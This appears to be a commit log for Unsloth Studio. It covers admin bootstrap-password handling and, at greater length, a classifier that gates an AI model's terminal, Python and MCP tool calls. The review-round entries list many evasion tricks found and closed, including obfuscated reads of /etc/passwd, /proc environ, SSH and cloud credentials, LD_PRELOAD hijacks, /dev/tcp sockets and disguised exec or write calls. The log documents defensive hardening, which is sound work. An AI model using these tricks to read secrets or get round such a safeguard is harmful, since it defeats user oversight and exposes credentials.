and serve it on the public Cloudflare page. Stripping a file we cannot vouch for
cannot stop a regeneration.
Make this branch fail closed like the seed/commit failure path: we only continue
past the DB inspection once a committed admin is confirmed. The existing file is
left untouched so a retry (after a transient lock clears) can still prompt.
Update the connect-failure test to assert fail-closed, and give the in-venv
--secure flag test a real STUDIO_HOME with an already-changed admin so the gate
is a no-op rather than relying on a DB-open failure.
* Studio: invalidate seeded bootstrap files before deleting auth.db on reset
reset-password deleted auth.db first, then best-effort unlinked the seeded
.bootstrap_password and desktop secret. unlink() only ignores
FileNotFoundError, so a locked or read-only file (Windows AV, read-only auth
dir) survived while auth.db was gone. The next server start then re-seeded
from that stale plaintext and re-validated the exact credential the reset was
meant to revoke.
Invalidate the credential files first, truncating any that cannot be
unlinked, then delete the DB, so a surviving file can never carry a reusable
secret. clear_bootstrap_password now truncates on unlink failure for the same
reason, and its warning says the contents were cleared rather than claiming
the stale password is already invalid.
* Studio: require a servable frontend before the pre-exposure gate can strip the seeded password
A headless public launch strips the seeded .bootstrap_password before the
re-exec'd child starts. If the child then cannot serve the login page (the only
in-band way to change the seeded password) the admin is locked out
(must_change_password=1, no file, no UI) until reset-password.
Add _require_servable_frontend_or_exit and call it before the gate on both
`unsloth studio` and `unsloth studio run` public launches: fail closed if a
non-api-only public launch has no built frontend dist, before anything is
stripped. A user-supplied --frontend is validated to contain index.html so a
bad path cannot silently bypass the check; an auto-resolved dist is trusted
(_find_frontend_dist already requires index.html) and forwarded to the child.
Model-load aborts on `studio run` remain a residual: the parent must strip for
mixed-version safety (an old studio-venv child has no pre-bind gate) and model
loadability cannot be proven before exec, so that path stays recoverable via
reset-password.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden reset-password ordering and validate the in-venv backend before the strip
Three follow-ups to the pre-exposure hardening:
reset-password now deletes auth.db FIRST and proves it is gone before touching
the seeded credential files. If the DB cannot be removed (a running Studio or
Windows holds it open, or a read-only auth dir) it aborts with the credential
files untouched, so a forgotten-password reset is not left half-done with the
recovery credentials deleted while an un-resettable must_change_password=1 DB
survives. After the DB is gone it invalidates the stale credential files
(unlink, else truncate) and fails closed if a file can be neither removed nor
truncated, since a surviving plaintext would be re-seeded by
generate_bootstrap_password() and re-validate the revoked password.
The in-venv (in-process) launch path had no analogue of the re-exec launcher
check: a headless public launch would seed the admin and strip the seeded
.bootstrap_password in the gate before _load_run_module() later failed on a
broken/partial venv, leaving must_change_password=1 with no password to log in.
Add _validate_inproc_backend_before_strip, called on the in-venv path (both
`unsloth studio` and `unsloth studio run`) before the gate on the headless
public path, so a broken backend fails cleanly before anything is stripped. It
is scoped to the headless path so an interactive prompt is not delayed behind a
full backend import.
* Studio: validate the frontend and tunnel before the strip on every public path
Five follow-ups closing the remaining pre-exposure-strip lockouts:
The in-venv (in-process) paths of both `unsloth studio` and `unsloth studio
run` validated the backend but not the frontend before the gate, so a headless
public launch with a missing/bad dist would strip the seeded .bootstrap_password
and then abort in run_server() during frontend setup, leaving
must_change_password=1 with no login page. Both now validate a servable frontend
before the strip (cheap check first, backend import after) and serve the
resolved dist in-process.
The `studio run` re-exec discarded the dist that satisfied the pre-strip check
and only forwarded a user-supplied --frontend. In a shadowed install where the
parent finds a built dist the child cannot, it stripped and exec'd without the
path, and the child aborted during frontend setup. It now forwards the resolved
dist, matching `unsloth studio`.
On a headless --secure launch the bind is loopback, so the Cloudflare tunnel is
the only public exposure. If cloudflared is provably unavailable (found nowhere
and undownloadable) the tunnel cannot start, so stripping the recovery
credential would just lock the user out with no public URL ever served. Add
_tunnel_binary_confirmed_unavailable and, on --secure only, refuse the launch
with the credential preserved rather than strip. Wildcard --cloudflare binds
0.0.0.0 publicly regardless of the tunnel, so it still strips; any uncertainty
(helper not loadable) also still strips, since a possible credential leak
outweighs a recoverable lockout.
clear_bootstrap_password no longer claims it cleared the file's contents when
both unlink and truncate failed; it now reports the stale password is still on
disk and asks the user to remove it manually.
* Studio: fix cloudflared probe path and skip the bootstrap strip for a self-suppressing child
Two follow-ups to the --secure pre-exposure hardening:
The cloudflared availability probe loaded cloudflare_tunnel by file path but not
its backend deps: ensure_cloudflared() -> _cache_path() lazily imports
utils.paths.storage_roots, which only resolves when studio/backend is on
sys.path. From the outer CLI it is not, so the probe saw ensure_cloudflared()
return None (cache unresolvable) and wrongly treated the tunnel as unavailable,
refusing --secure even when cloudflared was cached or downloadable. Add the
backend dir to sys.path for the probe (and remove it after) so the cache path
resolves as it will in the child.
A headless --secure launch stripped the seeded .bootstrap_password before the
child proved the tunnel could actually connect, so a cloudflared that is present
but cannot establish the tunnel (blocked connectivity, Cloudflare outage) left
must_change_password=1 with no recovery credential. But the strip is only needed
when the re-exec'd child is an OLD studio-venv backend with no pre-bind
suppression: this install's own run.py sets app.state.suppress_bootstrap_injection
before binding and never serves the seeded credential publicly. Add
_child_self_suppresses (true in-process, or when the re-exec target is this
install's own run.py by path identity) and skip the strip in that case, keeping
.bootstrap_password as a local recovery credential; the strip stays fully in
force for the studio-venv console-script path and any venv-fallback run.py, where
an old child is actually possible.
* Studio: reword the pre-exposure terminal password prompt
* Studio: warn when -H is overridden by --secure; align pre-exposure prompt wording
- --secure/--secure run: emit a Note (not an error) when -H is a non-loopback
host, since --secure forces the loopback bind and would otherwise discard -H
silently.
- Reword the pre-exposure terminal prompt to 'exposed on the public internet'
in both the backend gate and the CLI mirror.
- Align the CLI success line with the backend ("Password updated for '<user>'.").
- Tests for the new -H warning (present when overridden, absent on loopback).
* Studio: add non-interactive --password to set the initial admin password
Headless hosts (CI, containers, systemd units) have no TTY, so the forced
first-exposure password change could not be completed unattended. Add a
non-interactive way to set the INITIAL admin password before the server binds:
- --password <value>, the UNSLOTH_STUDIO_PASSWORD env var, or --password -
(read one line from stdin). Off by default; unset falls back to the normal
interactive terminal prompt / browser setup.
- Applies on any launch (public --secure/--cloudflare or a headless -H 0.0.0.0
bind), only when the account still has its seeded bootstrap password. An
already-set password is a hard error, never an override; an invalid value
(too short, or equal to the bootstrap) fails closed before bind.
- The CLI applies the change in the parent, never forwards --password to the
re-exec child, and strips UNSLOTH_STUDIO_PASSWORD from the child env so the
secret never crosses to the child. run.py does the same on the direct path and
strips the env var so spawned subprocesses (cloudflared, llama-server, tools)
cannot inherit it.
Mirrors resolve_supplied_password across the CLI and backend, documents the
option in the README (including the argv-visibility caveat), and covers all
flows (env/stdin/literal, fail-closed cases, no-forward, env-strip,
reset-password roundtrip) in the CLI, backend, and unit suites.
* Studio: truncate the stale bootstrap file when unlink fails on a CLI password change
The post-change cleanup in _cli_update_password only warned when
.bootstrap_password could not be unlinked but was still writable (locked file,
read-only auth dir), leaving the old plaintext on disk. If auth.db is later
reset or removed, generate_bootstrap_password() reads that file back and
re-validates the revoked bootstrap password. Truncate the file on unlink
failure so its stale plaintext cannot be re-seeded, mirroring the backend
clear_bootstrap_password(); the password change is already committed, so this
never rolls it back. The warning now states truthfully whether the contents
were cleared or the file must be removed manually.
* Studio: tighten comments
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: permission levels for chat tool calls (Ask, Approve for me, Off, Full access)
Replace the Bypass permissions on/off toggle with a four level permission
selector, available in Settings > General (new Permissions section above
Notifications), the chat settings panel, the composer plus menu, and a new
always visible composer pill.
Levels:
- Ask for approval: every local tool call pauses for allow/deny.
- Approve for me: only calls detected as potentially unsafe pause; the
python/terminal sandbox stays on.
- Off: never pauses; sandbox stays on (previous default behavior).
- Full access: never pauses and the sandbox is disabled. Still requires
the danger confirmation and is never restored across reloads.
Backend adds permission_mode to the OpenAI compatible and Anthropic
passthrough payloads and threads it through both tool loops. Auto mode
uses a fail closed classifier in tools.py: terminal commands must be on
a read only allowlist with no redirection or substitution, python code
is AST scanned for writes, exec, process and network use, MCP tools
auto run only with read only style names. Unknown tools always ask.
Legacy bypass_permissions and confirm_tool_calls keep their exact
behavior for existing API callers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio permissions: Off is a plain toggle below Full access
Off moves to the bottom of the level menu with a short description and
acts as the feature-off state: the composer pill is hidden entirely
while Off, and reselecting the active level toggles back to Off.
* Studio permissions: higher contrast composer pill text
The permission pill uses a foreground based grey instead of the shared
muted pill color, so it reads darker in light mode and lighter in dark
mode. Full access keeps the danger yellow.
* Studio permissions: panel dropdown layout and shorter tooltip
Chat settings panel: the Bypass permissions label sits on one line with
a full width dropdown underneath, styled like the other panel selects.
Tooltip shortened and wording uses Unsloth instead of Studio.
* Studio permissions: harden auto-mode unsafe detection
Extend the Approve for me classifier to catch write and exec paths that
slipped through:
- terminal: sort -o, tree -o, xxd -r, find -exec/-execdir/-ok/-delete
and find -fprint/-fprintf/-fls now ask; plain read-only forms still
auto-run. awk is no longer allowlisted since its program can write and
call system().
- python: from-imports of mutating names (from os import remove [as rm])
and star imports now ask.
Found by a fuzz and edge-case simulation matrix; pinned in
test_permission_mode.py.
* Studio permissions: split multi-line terminal commands in auto detection
A shell runs each line as its own command, but shlex reads newlines as
whitespace, so "ls\nrm -rf x" demoted rm to argument position and
auto-ran. Normalize newlines and CR to separators, and treat any all
separator token as a command boundary so runs of blank lines still
split. Found by the simulation matrix; pinned in tests.
* Studio permissions: address review feedback on auto-mode detection
Auto-mode (Approve for me) safety classifier hardening:
- Python: flag any reference to a mutating attribute, not only direct
calls, so indirect refs (f = os.remove; f(x)) and aliases ask. Detect
Path.open(mode) write modes and wrap the AST walk to fail closed.
- Terminal: match attached short output flags (sort -o/tmp/out) and keep
find context across grouping parens so find ( -delete ) asks.
- Both: ask before reads that escape the sandbox workdir via parent
traversal or hit credential paths (.ssh, .aws, id_rsa, .pem, etc.).
permission_mode plumbing:
- Fold permission_mode=full into bypass_permissions at the request model
so route-level confirm-gate guards see it as bypass.
- Reject ask/auto on the Anthropic Messages server-tools path, which has
no confirmation channel (mirrors the confirm_tool_calls rejection).
- Keep forced RAG autoinject in auto mode: the safe search_knowledge_base
retrieval never gates, so derive the skip from the real confirm need.
- Reset all local preferences now also clears the legacy confirm key so a
reset restores the fresh default instead of the old level.
Regression tests added for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio permissions: close auto-mode classifier gaps from review round 2
Auto mode ("Approve for me") let a few mutating calls through as safe:
- os.open(...) always creates/writes a descriptor, so treat it as unsafe
even though builtin open in read mode stays safe.
- fd -x/--exec/-X/--exec-batch runs a command per match; scan for these
alongside find's -exec/-delete.
- tempfile writes artefacts and hands back writable handles, so importing
it now asks.
- Calling the result of a call (getattr(os, "remove")("x"), partials) is a
dynamic target the AST can't vet, so fail closed.
- An MCP tool whose name pairs a read verb with a mutating one
(get_or_create_issue, read_and_delete_file) no longer auto-runs on the
read prefix alone.
Also fold permission_mode="off" into confirm_tool_calls=False on both
request models so the non-stream route guard sees the disabled gate, and
drive the Confirm tool calls toggle off permission_mode="ask" so auto no
longer shows it on.
* Harden auto-mode classifier and normalize bypass to full for PR #7079
Approve for me now asks for a few cases it previously auto-ran:
- os.open via an os alias (import os as o; o.open(path, O_CREAT))
- pathlib symlink_to / hardlink_to / link_to
- importlib.import_module dynamic imports
- os.mkfifo / os.mknod / os.utime
Also fold bypass_permissions into full when a stale ask/auto permission_mode
is sent alongside it, so the Anthropic route guard no longer 400s those legacy
callers. Adds classifier and request-model regression tests.
* Close more auto-mode classifier gaps for PR #7079
Approve for me now asks for cases the review surfaced:
- builtin open aliased to a name (f = open; from builtins import open as w)
or looked up dynamically (globals()['open'])
- pickle / marshal / shelve / dill deserialization
- io.FileIO write handles
- sort --compress-program (runs an external program)
- MCP names carrying save/archive/submit/commit/push/sync/register verbs
Also refine the attribute open() write check so an explicit read mode
(ZipFile.open(name, "r")) stays auto while os.open flags still ask. Adds
test coverage for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close three more auto-mode gaps for PR #7079
- rg runs an arbitrary program per file via --pre / --hostname-bin, so
"Approve for me" now asks for those flags (rg is on the read-only
allowlist).
- A path-qualified command token (./ls, /tmp/cat) is an arbitrary
executable, not the trusted utility its basename matches, so it asks
before running.
- A direct /chat/completions caller that sets permission_mode ask/auto
but omits the legacy confirm_tool_calls flag now self-enables the
confirmation gate, so tools can no longer run ungated on that path.
Adds classifier and request-model tests for each case.
* Close auto-mode classifier gaps from review round 3 for PR #7079
Approve for me now asks for cases the latest pass surfaced:
- short-option clusters bundling a write flag (sort -uo out => -u -o)
- procfs reads that leak a process env/args/memory
(cat /proc/self/environ, /proc/PID/cmdline, maps)
- env-assignment prefixes that change command lookup/loading
(LD_PRELOAD=x ls, PATH=. ls, IFS=x ls); benign FOO=1 cmd stays auto
- os.open imported as a bare callable (from os import open as o)
Also drops ps from the safe terminal allowlist: its BSD environment
flags (ps auxe, ps eww) dump a parent process's unscrubbed env and
cannot be flag-parsed reliably, so ps always asks now. Adds classifier
tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 4 for PR #7079
Terminal (Approve for me now asks for these):
- cd dropped from the safe allowlist: cd /; cat etc/passwd moves the
shell out of the session workdir so a later relative read escapes it
- env -C/--chdir (workdir escape) and -S/--split-string (builds a fresh
command line); wrapper flags are now checked
- /etc//passwd and /etc/./passwd normalize to /etc/passwd before the
sensitive-path scan
- a sensitive path split across an assignment and an argument
(p=/etc; cat $p/passwd) via best-effort NAME=value expansion
Python:
- builtins.exec / builtins.eval attribute calls (dynamic code execution)
- destructured open aliases (f, _ = (open, print); f('out', 'w'))
- a sensitive path composed from literals (os.path.join('/etc','passwd'),
'/etc' + '/passwd')
- ZipFile/TarFile write modes (ZipFile(name, 'w')); the reader stays auto
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 5 for PR #7079
Terminal (Approve for me now asks for these):
- procfs reads hidden by shell quotes (cat /proc/$PPID/enviro''n) or
quoted/nested-variable assignments (p="/proc/$PPID"; cat $p/environ):
quotes are stripped and NAME=value prefixes expanded before the scan
- LESSOPEN/LESSCLOSE, which make less run an input preprocessor command
Python:
- os.chdir / os.fchdir, which move the cwd so a later relative read
escapes the sandbox workdir
- sensitive paths composed via a pathlib / chain (Path('/etc') / 'passwd')
or an f-string of literals (f'/proc/{pid}/environ')
- runpy (import) and runpy.run_path / run_module, which run arbitrary code
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 6 for PR #7079
Approve for me now asks for these:
- a mutating callable reached through a getattr alias
(rm = getattr(os, "remove"); rm("f")): calls through a getattr-bound
name fail closed
- compound MCP tool names carrying clone/checkout/comment/fork/tag/
invite/share, which start with a read verb but still mutate
- a sensitive path hidden behind a glob (cat /e??/passwd,
cat /e[t]c/passwd): a ? / * / [..] token is matched against the
sensitive-file set and bracket classes are de-obfuscated; benign
globs (ls *.py) stay auto
Also run first-pass RAG retrieval in off mode: like auto, off never
prompts, so a direct caller passing a stale confirm flag should not lose
document retrieval (both tool loops).
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 7 for PR #7079
Approve for me now asks for these:
- __builtins__.exec / __builtins__.eval (dynamic code via the dunder)
- terminal reads that hide a credential path behind a backslash escape
(cat /et\c/passwd)
- read-named MCP filesystem calls pointed at a credential path
(mcp__fs__read_file {"path": "/etc/passwd"})
- compound MCP names carrying append / prepend
- open aliased through a subscript or builtins attribute
(f = globals()["open"]; f = builtins.open) then called to write
- open(..., **{"mode": "w"}) where a kwargs splat hides the write mode
- a sensitive path with a dynamic segment (open(f"/etc/{name}"),
os.path.join("/etc", name)); /tmp/{name} stays auto
- urllib3 networking
Also stop folding permission_mode ask/auto into confirm_tool_calls for
external-provider requests: that branch rejects confirm_tool_calls with
tools, and the mode only governs local tool calls. Local requests still
self-gate. Adds tests for each case.
* Close auto-mode classifier gaps from review round 8 for PR #7079
Approve for me now asks for these:
- dbm on the unsafe-module list: dbm.open(file, "c"/"n") creates files,
and importing the family signals a persistence writer
- reads of ~/.azure and ~/.config/gh credential stores (Azure/GitHub
tokens), in terminal, MCP arguments, and Python literals
- compound MCP names carrying upsert / assign
Adds classifier tests for each case.
* Gate secret mounts and fix the composer pill count for PR #7079
- Add Docker/Kubernetes secret mount dirs (/run/secrets,
/var/run/secrets) to the sensitive-path checks, so Approve for me asks
before reading injected credentials (terminal, MCP args, Python).
- Count the always-visible permission pill in the composer's compact
threshold so labels collapse at the intended width instead of
overflowing by one pill.
Adds classifier tests for the secret mount paths.
* Close auto-mode classifier gaps from review round 10 for PR #7079
Approve for me now asks for these:
- qualified pathlib constructors (pathlib.Path('/etc') / name), folded
the same as bare Path(...), so a dynamic sensitive path is detected
- open aliased through an annotated assignment (f: object = open;
f('out', 'w')), tracked like a plain assignment
- recursive searches rooted at an absolute path (grep -R TOKEN /home,
rg TOKEN /, fd pattern /etc), which read host files outside the
sandbox tree; sandbox-relative searches stay auto
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 11 for PR #7079
Approve for me now asks for these terminal reads, which bash would
expand into a sensitive path only after the classifier had approved:
- a glob that resolves into a secret mount or credential dir
(cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa)
- a recursive search rooted at a tilde home (grep -R TOKEN ~root,
grep -R TOKEN ~/logs)
- a brace expansion that builds a credential path (cat /etc/pass{w,}d)
- a default/alternate parameter expansion that builds one
(cat /etc/pass${x:-wd})
- an input redirection that hides a glob (cat </e??/passwd)
And these python calls:
- a str.format-built sensitive path (open('/etc/{}'.format('passwd')))
- writer methods that persist to disk without open() (numpy.save,
Image.save, plt.savefig, DataFrame.to_csv, json.dump)
Segment-wise directory matching keeps benign globs (ls /home/*/projects)
auto. Adds regression tests for each case and its safe counterpart.
* Close auto-mode classifier gaps from review round 12 for PR #7079
Approve for me now asks for these too:
- a terminal read whose parent traversal hides behind a redirection with
no following space (cat <../../notes)
- a python read whose path is built with str.join
(open(''.join(['/etc', '/passwd']))), told apart from os.path.join
- a dynamic-code builtin reached through an alias
(from builtins import eval as e; e(...); x = builtins.exec; x(...))
Adds regression tests for each case and its safe counterpart.
* Close auto-mode classifier gaps from review round 13 for PR #7079
Approve for me now asks for these too:
- a recursive search whose root is hidden behind an assignment
(p=/; grep -R TOKEN $p): the recursive-root test now runs on the
assignment-expanded tokens as well
- a python read whose sensitive path is split through a literal variable
(base = '/etc'; open(base + '/passwd')), including via an f-string
- numpy ndarray.tofile, which persists without open()
- a sequence brace read (cat /etc/pass{w..w}d), expanded alongside the
comma brace form before the sensitive-path scan
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 14 for PR #7079
Approve for me now asks for these python reads that assemble a sensitive
path in a form the fold did not yet recognize:
- a pathlib object reused through a name (p = Path('/etc'); p / 'passwd')
- old-style percent formatting ('%s/%s' % ('/etc', 'passwd'))
- Path.joinpath ('/etc'.joinpath('passwd'))
- a bytes path literal (open(b'/etc/passwd'))
And these terminal reads, which bash expands into a sensitive path only
after the classifier had approved:
- a substring parameter expansion off an assignment
(p=passwd; cat /etc/${p:0:6})
- an ANSI-C quoted path (cat $'/etc/pass\x77d')
- a glob into an Azure or GitHub CLI config dir
(cat /home/*/.az?re/..., cat /home/*/.config/g?/...)
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 15 for PR #7079
Approve for me now asks for these terminal reads, which bash expands into
a sensitive path only after the classifier had approved:
- a per-thread procfs env alias (cat /proc/$PPID/task/$PPID/environ)
- a recursive root behind a default parameter (grep -R TOKEN ${root:-/home})
- a path built by pattern replacement (p=passXd; cat /etc/${p/X/w})
And these python reads:
- a pathlib .parent/.parents chain that escapes the session workdir
((Path.cwd().parent / 'other' / 'notes').read_text())
- a sensitive path resolved through glob (glob.glob('/e??/passwd')[0])
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 16 for PR #7079
Approve for me now asks for these terminal reads, which bash expands into
a sensitive path only after the classifier had approved:
- a case-modifying parameter expansion (p=PASSWD; cat /etc/${p,,})
- a mutating find action hidden behind an assignment (f=-delete; find . $f)
- a glob assembled through an assignment (g=e??; cat /$g/passwd)
- a POSIX bracket class glob (cat /etc/pass[[:lower:]]d)
And these python reads/writes:
- a glob pattern folded from a literal variable
(base='/e??'; glob.glob(base + '/passwd'))
- a directly imported os.path.join (from os.path import join; join('/etc', 'passwd'))
- a directly imported writer (from numpy import save; save(...))
- an aliased pathlib constructor (from pathlib import Path as P; P('/etc') / 'passwd')
The find/fd and glob scans now run on the assignment/parameter-expanded
command, and pathlib/join/writer import aliases are tracked. Adds
regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode gaps from review round 17 for PR #7079
Two fixes:
- Gate sqlite3 in auto mode. sqlite3.connect(path) creates or mutates a
database file (and runs DDL/DML) with no open()/writer attribute for
the AST checks to catch, so treat the module like dbm and ask.
- Only self-enable confirm_tool_calls for Studio's own tool loop. The
ask/auto fold previously set confirm on every non-provider request,
including a plain client-tool passthrough (client-supplied tools that
Studio does not execute), which then tripped the local-tool
streaming-confirm route guard and rejected the passthrough. Restrict
the fold to requests that actually ask Studio to run tools
(enable_tools / enabled_tools / mcp_enabled).
Adds regression tests for the sqlite3 write and for the passthrough vs
tool-loop confirm behavior.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode gaps from review round 18 for PR #7079
Classifier (auto mode asks for these):
- os.open through a module alias (import os as o; o.open(...)); os/posix
aliases are tracked like the literal module name.
- less/more pagers, whose escapes (+cmd, !shell, -o/--log-file, LESSOPEN)
can run a command or write a file the command-name allowlist cannot
see, so they are no longer auto-approved.
- a read-named MCP tool carrying a mutating query
(query_database {"query": "DELETE FROM runs"}); DML/DDL statements are
matched as whole statements so a natural-language query that merely
contains "delete" stays safe.
- ML persistence helpers (save_pretrained / save_file / save_model /
save_weights / save_lora / save_checkpoint) that export weights to disk.
Route:
- Honor CLI-forced tools when deriving the confirm gate. When a process
policy (unsloth run --enable-tools) opens the local tool loop without a
request-level tool signal, a permission_mode ask/auto request now
derives confirm at the route (GGUF and safetensors paths) so the mode
still gates the call, and a non-streaming ask/auto request is rejected
rather than running unprompted. A plain client-tool passthrough (no
local loop) is unaffected.
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 19 for PR #7079
Approve for me now asks for these too:
- a terminal read whose path is built by indirect parameter expansion
(x=passwd; p=x; cat /etc/${!p})
- a bash /dev/tcp or /dev/udp redirection, which opens a network socket
(cat </dev/tcp/host/port)
- a python read via pathlib's receiver-plus-pattern glob
(Path('/etc').glob('passw?'))
- a python read whose sensitive root passes through a normalizer
(os.path.abspath('/etc'), Path('/etc').resolve())
- a pickle-backed loader that can execute code on load
(torch.load, joblib.load, pandas.read_pickle), tracked through module
import aliases
- compiled code wrapped into a callable (compile(...) + types.FunctionType)
Adds regression tests for each case and its safe counterpart.
* Honor unset permission_mode as ask across the local tool loop for PR #7079
Three gaps where an omitted permission_mode did not behave as the
documented default ("ask"):
- The frontend only sent permission_mode / confirm_tool_calls /
bypass_permissions when a tool pill was on. A process policy
(unsloth run --enable-tools) can open the tool loop with no pill, so
the backend never saw the selected gate. Send the three permission
fields at the top level of every local chat payload instead.
- The backend read payload.confirm_tool_calls directly at the
pre-switch guard and both late per-backend derivations, so an unset
mode fell through as no-gate even for an explicit ask/auto. Add
_permission_mode_confirm(payload): explicit confirm_tool_calls wins,
explicit ask/auto engage the gate, off/full never prompt, and an
unset mode defaults to ask only where realizable (streaming), keeping
the legacy no-gate run for non-streaming unset requests.
- A forced ask/auto tool loop (CLI --enable-tools) with no stream now
400s at the pre-switch guard before evicting the resident model,
matching the existing confirm-without-stream rejection.
Adds test_permission_mode_confirm_derivation covering the derivation
truth table.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Declare permission_mode and bypass_permissions on the local chat request type
The previous change moved permission_mode, confirm_tool_calls and
bypass_permissions to the top level of the local chat payload. They had
lived inside a conditional spread, which is not subject to excess
property checking, so the fields were never declared on
OpenAIChatCompletionsRequest. At the top level tsc flagged
permission_mode as unknown (TS2322), failing the frontend build and
every job whose Studio install builds the frontend.
Add permission_mode and bypass_permissions to the request interface
(confirm_tool_calls was already present).
* Close auto-mode classifier gaps from review round 21 for PR #7079
Auto mode ("Approve for me") now asks for these too:
- a pathlib read built from a concrete constructor (PosixPath, WindowsPath
and their Pure* forms), which the folder previously ignored so
PosixPath('/etc') / 'passwd' lost its /etc root and ran unprompted
- a terminal or python read of the ssh host keys under /etc/ssh, which
the sensitive-path regex only covered for passwd/shadow/sudoers
- a read whose path variable is reassigned: the whole-tree pre-scan kept
the last binding, so base = '/etc'; open(base + '/passwd'); base = 'data'
folded to data/passwd and ran even though execution reads /etc/passwd;
any multiply-bound name now folds to the escape sentinel and asks
Also stop the pre-switch guard from rejecting a plain client-tool
passthrough. permission_mode only implies the confirm gate for Studio's
own local tool loop (enable_tools / enabled_tools / mcp_enabled); a
non-streaming client-tool passthrough that carries permission_mode
ask/auto (confirm_tool_calls left unset by the validator) must forward to
the provider branch. Only an explicit confirm_tool_calls=True still forces
the local-confirm rejection there.
Adds regression tests for each case and its safe counterpart.
* Fix permission-pill compaction count and Full-access confirm sync for PR #7079
Two frontend consistency issues in the permission-level UI:
- The composer collapses tool pills to icons above four, but the count
left out the permission pill, which renders in every mode except off.
With one optional pill also shown the row reached five pills without
collapsing and could overflow. Count the pill when it is visible
(permission_mode != off).
- Entering Full access via setPermissionMode('full') or
setBypassPermissions(true) left confirmToolCalls at its previous value,
so a Full-access run (which sends confirm_tool_calls=false) could still
report confirmations as enabled in response metadata. Set
confirmToolCalls false at both entry points.
* Close auto-mode classifier gaps from review round 23 for PR #7079
Auto mode ("Approve for me") now asks for these too:
- a command using an abbreviated GNU long option that reaches a
write/exec action (sort --out= for --output, env --ch= for --chdir,
fd --base-dir= for --base-directory); a prefix of an unsafe long flag
now fails closed
- printf -v NAME, which assigns to a shell variable, so
printf -v PATH %s .; ls can rewrite PATH and run ./ls unprompted
- fd --base-directory / --search-path, which move the search root
outside the session workdir without any positional slash token
- an MCP tool whose compound read name carries a copy-style mutator
(read_and_copy_file, get_and_snapshot_volume): copy, duplicate,
import, export, download, backup, restore, snapshot, mirror
Also treat an omitted permission_mode as its documented default ("ask")
on the Anthropic Messages server-tool path. That branch has no
confirmation channel and already rejects explicit ask/auto, so an
omitted mode now falls into the same rejection instead of silently
running server tools unprompted, unless the caller opted out with
confirm_tool_calls=false (the legacy equivalent of "off"). off/full and
that opt-out still run; the two routing tests that relied on the old
implicit run now set permission_mode="off".
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Refine permission gating from review round 24 for PR #7079
Four fixes from the latest review:
- Anthropic Messages server tools: an omitted permission_mode no longer
rejects a request that only runs safe server tools (web_search), so
existing Anthropic callers keep working. It still rejects an omitted
mode when a local tool (terminal/python) is selected, and an explicit
ask/auto is still rejected outright. off/full and a
confirm_tool_calls=false opt-out always run.
- Pre-switch confirm-without-stream guard: use
_explicit_studio_tool_loop_requested (the same predicate the
passthrough router uses) instead of the policy-inclusive
_effective_enable_tools, so a process --enable-tools policy no longer
turns a client-tool passthrough into a local-loop rejection.
- Auto mode now asks for `uniq INPUT OUTPUT`: uniq writes its second
file positional, so a second positional (numeric flag values skipped)
is treated like `sort -o`. A lone `uniq file` or piped `... | uniq`
stays safe.
- MCP mutation check now strips SQL comments before matching, so
DELETE/**/FROM and UPDATE/**/users (comment-as-whitespace) no longer
slip past the DML/DDL denylist.
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode gaps from review round 25 for PR #7079
Auto mode ("Approve for me") now asks for these Python cases too:
- a bare archive constructor with a write mode (from zipfile import
ZipFile; ZipFile('out.zip', 'w')), tracked through import aliases like
the zipfile.ZipFile attribute call already was
- a dynamic lookup aliased through getattr (g = getattr;
rm = g(os, 'remove'); rm('file')), not just direct getattr(...) calls
- a callable that wraps open or a writer via functools.partial
(w = partial(open, mode='w'); w('out.txt')), which hides the write mode
Also:
- Always-safe tools (render_html) stream their early provisional canvas
card in auto mode again. The provisional-card guard mirrored the raw
confirm flag, which suppressed the early card under Approve-for-me; it
now reuses the auto-mode safety decision (is_always_safe_tool).
- The assistant-ui composer no longer counts the permission pill toward
its collapse threshold when the level is Off (the pill renders null
there), matching the other composer.
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align permission-mode confirm guards with the router (review round 26)
Three pre-switch confirm-gate checks disagreed with how the tool
loop actually enters, so a valid request could 400 (or an invalid
one could evict the resident model) at the wrong point:
